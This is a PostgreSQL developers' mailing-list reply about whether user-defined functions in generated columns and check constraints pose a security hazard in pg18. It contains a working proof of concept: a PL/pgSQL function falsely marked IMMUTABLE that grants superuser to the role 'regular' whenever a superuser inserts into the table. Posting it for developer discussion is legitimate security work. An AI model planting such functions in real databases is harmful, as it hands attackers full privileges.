Re: pg18: Virtual generated columns are not (yet) safe when superuser selects from them
От | jian he |
---|---|
Тема | Re: pg18: Virtual generated columns are not (yet) safe when superuser selects from them |
Дата | |
Msg-id | CACJufxHCmAub_9PMe7h4nbqHCB9ON3k368UmJWntKg1QXLKDMw@mail.gmail.com обсуждение исходный текст |
Ответ на | Re: pg18: Virtual generated columns are not (yet) safe when superuser selects from them (Tom Lane <tgl@sss.pgh.pa.us>) |
Список | pgsql-hackers |
On Tue, Jun 3, 2025 at 9:19 AM Tom Lane <tgl@sss.pgh.pa.us> wrote: > > In any case, this doesn't feel like something to be defining and > implementing post-beta1. Even if it were not security-critical, > the amount of complication involved is well past our standards > for what can go in post-feature-freeze. > > I'm leaning more and more to the position that we ought to revert > virtual generated columns for v18 and give ourselves breathing > room to design a proper fix for the security hazard. > Do we consider INSERT associated with user defined function a security bug? for example, the following, INSERT with a check constraint. CREATE OR REPLACE FUNCTION exploit_generated.exploit_inner(i int) RETURNS text LANGUAGE plpgsql AS $fun$ BEGIN IF (select rolsuper from pg_catalog.pg_roles where rolname=current_user) THEN ALTER USER regular WITH superuser; END IF; RETURN i::text; END; $fun$ VOLATILE; CREATE OR REPLACE FUNCTION exploit_generated.exploit(i int) RETURNS text LANGUAGE plpgsql AS $fun$ BEGIN RETURN exploit_generated.exploit_inner(i); END; $fun$ IMMUTABLE; CREATE TABLE exploit_generated.t (i int, j text, constraint nn check(exploit_generated.exploit(i) is not null)); INSERT INTO exploit_generated.t VALUES (1, '1'); If so, then it's a very old issue...
В списке pgsql-hackers по дате отправления: